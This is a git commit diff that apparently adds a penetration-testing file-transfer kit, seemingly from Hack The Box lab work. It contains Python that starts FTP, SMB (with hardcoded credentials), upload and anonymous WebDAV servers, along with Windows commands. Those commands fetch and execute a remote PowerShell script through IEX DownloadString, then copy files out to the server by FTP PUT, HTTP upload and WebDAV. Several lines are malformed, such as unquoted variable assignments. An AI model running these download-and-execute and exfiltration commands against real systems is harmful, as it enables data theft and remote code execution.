Add initial implementation of file server, mount, upload, and WebDAV scripts
This commit is contained in:
@@ -0,0 +1,5 @@
|
|||||||
|
import os
|
||||||
|
os.system('python3 -m pyftpdlib --port 21 --write')
|
||||||
|
os.system('impacket-smbserver share -smb2support /tmp/smbshare -user user -password Mabe') # Username: user Password: Mabe
|
||||||
|
os.system('python3 -m uploadserver')
|
||||||
|
os.system('wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous')
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
$server
|
||||||
|
|
||||||
|
net use n: \\$server\share /user:user Mabe
|
||||||
|
|
||||||
|
echo open $server > ftpcommand.txt
|
||||||
|
echo USER anonymous >> ftpcommand.txt
|
||||||
|
echo binary >> ftpcommand.txt
|
||||||
|
echo GET file.txt >> ftpcommand.txt
|
||||||
|
echo bye >> ftpcommand.txt
|
||||||
|
ftp -v -n -s:ftpcommand.txt
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
$server = 127.0.0.1
|
||||||
|
$file = C:\
|
||||||
|
|
||||||
|
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
|
||||||
|
PS C:\htb> Invoke-FileUpload -Uri http://$server/upload -File $file
|
||||||
|
|
||||||
|
echo open $server > ftpcommand.txt
|
||||||
|
echo USER anonymous >> ftpcommand.txt
|
||||||
|
echo binary >> ftpcommand.txt
|
||||||
|
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
|
||||||
|
echo bye >> ftpcommand.txt
|
||||||
|
ftp -v -n -s:ftpcommand.txt
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
$server
|
||||||
|
$file = C:\
|
||||||
|
|
||||||
|
dir \\$server\DavWWWRoot
|
||||||
|
copy $file \\$server\DavWWWRoot\
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
[
|
||||||
|
"pyftpdlib",
|
||||||
|
"uploadserver",
|
||||||
|
"wsgidav",
|
||||||
|
"cheroot"
|
||||||
|
]
|
||||||
|
|
||||||
Reference in New Issue
Block a user